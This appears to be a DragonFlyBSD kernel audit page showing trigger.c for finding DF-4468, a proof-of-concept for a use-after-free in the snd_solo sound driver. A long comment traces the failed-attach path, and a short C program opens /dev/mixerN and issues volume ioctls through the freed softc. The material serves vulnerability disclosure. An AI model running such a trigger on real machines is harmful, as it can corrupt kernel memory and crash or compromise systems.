⬢ DragonFlyBSD Kernel Audit
DF-4468 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4468 - snd_solo (ESS Solo-1) attach-failure dangling /dev/mixerN trigger.
 * 8th instance of the DF-4156/4193/4299/4334/4344/4421/4457 family.
 *
 * Preconditions (all must hold on the target machine):
 *   P1. An ESS Solo-1 (ES1938/ES1946, PCI 125d:1969) card is present and
 *       snd_solo attaches far enough that mixer_init() succeeds:
 *           sys/dev/sound/pci/solo.c:1045  mixer_init(dev, &solomixer_class, sc)
 *       At that point /dev/mixerN has been published world-writable:
 *           sys/dev/sound/pcm/mixer.c:730-733  make_dev(&mixer_ops, ..., 0666, "mixer%d")
 *       with pdev->si_drv1 = m and m->devinfo = sc.
 *   P2. A subsequent attach step fails, i.e. pcm_register() returns nonzero:
 *           sys/dev/sound/pci/solo.c:1052  if (pcm_register(dev, sc, 1, 1)) goto no;
 *       Reachable failures (sound.c:1016-1033): pcm_veto_load set (a previous
 *       feeder subsystem init error) or device unit > PCMMAXUNIT.
 *   P3. ess_attach unwinds: solo.c:1060-1062 `no:` -> ess_release_resources()
 *       -> kfree(sc) (solo.c:878) WITHOUT mixer_uninit() (only ever called from
 *       pcm_unregister(), which newbus never invokes for a failed attach).
 *
 * Result: /dev/mixerN stays registered, its kobj devinfo points at freed sc.
 * This program then performs the UAF:
 *   open("/dev/mixerN")            -> mixer_open():  m->busy++ on freed-adjacent m
 *   ioctl(SOUND_MIXER_READ_VOLUME) -> mixer_ioctl -> MIXER_SET/GET ->
 *        essmix_set() (solo.c:667) -> mix_getdevinfo(m) == freed sc ->
 *        ess_setmixer(sc, ...) (solo.c:241) reads sc->sb from freed memory and
 *        does port I/O through rman_get_bustag(sc->sb) -> use-after-free.
 *
 * On this audit guest: QEMU does not emulate ES1938/1946 (only es1370), so the
 * driver never attaches and the run reports the precondition absence.
 * See VERDICT.md for the full code-level proof.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/mixer0";
	int i, v;

	for (i = 0; i < 3; i++) {	/* re-open: fresh UAF each time */
		int fd = open(dev, O_RDWR);
		if (fd < 0) {
			perror(dev);
			return 2;
		}
		v = 0x5a5a;
		if (ioctl(fd, SOUND_MIXER_READ_VOLUME, &v) < 0)
			perror("READ_VOLUME");
		else
			printf("iter %d: READ_VOLUME -> 0x%04x\n", i, v);
		/* write path: essmix_set -> ess_setmixer(sc,...) through freed sc */
		v = 0x3c3c;
		if (ioctl(fd, SOUND_MIXER_WRITE_VOLUME, &v) < 0)
			perror("WRITE_VOLUME");
		close(fd);
	}
	printf("if preconditions P1-P3 held, the two ioctls above touched the "
	       "freed ess_info softc\n");
	return 0;
}